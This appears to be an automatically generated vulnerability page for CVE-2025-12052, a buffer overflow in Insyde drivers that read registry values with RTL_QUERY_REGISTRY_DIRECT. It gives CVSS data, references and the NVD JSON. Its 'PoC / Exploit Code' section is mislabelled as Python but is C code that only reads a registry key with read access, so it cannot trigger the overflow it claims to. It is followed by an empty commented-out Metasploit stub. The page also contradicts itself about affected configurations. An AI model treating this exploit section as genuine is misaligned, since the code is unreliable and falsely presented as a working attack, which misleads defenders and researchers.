CVE-2025-12052

Description

The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Insyde BIOS drivers (all versions using RTL_QUERY_REGISTRY_DIRECT)

Windows kernel mode drivers with vulnerable registry handling

Specific Insyde security advisory: SA-2025010 affected firmware versions

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
CVE-2025-12052 Buffer Overflow PoC
Target: Windows drivers using RTL_QUERY_REGISTRY_DIRECT
Author: Security Researcher
Note: Educational purposes only
*/

#include <windows.h>
#include <stdio.h>

int main() {
    HKEY hKey;
    LONG lResult;
    DWORD dwType = REG_SZ;
    char szValue[8192];  // Large buffer to trigger overflow
    DWORD cbData = sizeof(szValue);
    
    // Fill buffer with pattern
    memset(szValue, 0x41, sizeof(szValue) - 1);
    szValue[sizeof(szValue) - 1] = '\0';
    
    // Attempt to trigger vulnerability via registry
    lResult = RegOpenKeyExA(
        HKEY_LOCAL_MACHINE,
        "SYSTEM\\CurrentControlSet\\Services\\VulnerableDriver",
        0,
        KEY_READ,
        &hKey
    );
    
    if (lResult == ERROR_SUCCESS) {
        printf("[+] Registry key opened successfully\n");
        printf("[*] Attempting to trigger buffer overflow...\n");
        
        // This will trigger the driver to read the large value
        lResult = RegQueryValueExA(
            hKey,
            "MaliciousValue",
            NULL,
            &dwType,
            (LPBYTE)szValue,
            &cbData
        );
        
        printf("[*] Registry query completed with result: %ld\n", lResult);
        RegCloseKey(hKey);
    } else {
        printf("[-] Failed to open registry key\n");
    }
    
    return 0;
}

// Metasploit module structure for reference:
// require 'msf/core'
// class MetasploitModule < Msf::Exploit::Local
//   Rank = NormalRanking
//   
//   def initialize(info = {})
//     super(update_info(info,
//       'Name' => 'CVE-2025-12052 Driver Buffer Overflow',
//       'Description' => %q{
//         This module exploits a buffer overflow in Windows drivers
//         using RTL_QUERY_REGISTRY_DIRECT flag.
//       },
//       'License' => MSF_LICENSE,
//       'Author' => ['Researcher'],
//       'Platform' => 'win'
//     ))
//   end
// end

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12052
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12052
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12052/
[4] VulDB https://vuldb.com/cve/CVE-2025-12052
[5] https://www.insyde.com/security-pledge/sa-2025010/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12052", "sourceIdentifier": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "published": "2026-01-14T02:15:49.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The drivers in the tool packages use RTL_QUERY_REGISTRY_DIRECT flag to read a registry value to which an untrusted user-mode application may be able to cause a buffer overflow."}, {"lang": "es", "value": "Los controladores en los paquetes de herramientas usan la bandera RTL_QUERY_REGISTRY_DIRECT para leer un valor del registro al cual una aplicación en modo de usuario no confiable podría ser capaz de causar un desbordamiento de búfer."}], "metrics": {"cvssMetricV31": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "8338d8cb-57f7-4252-abc0-96fd13e98d21", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://www.insyde.com/security-pledge/sa-2025010/", "source": "8338d8cb-57f7-4252-abc0-96fd13e98d21"}]}}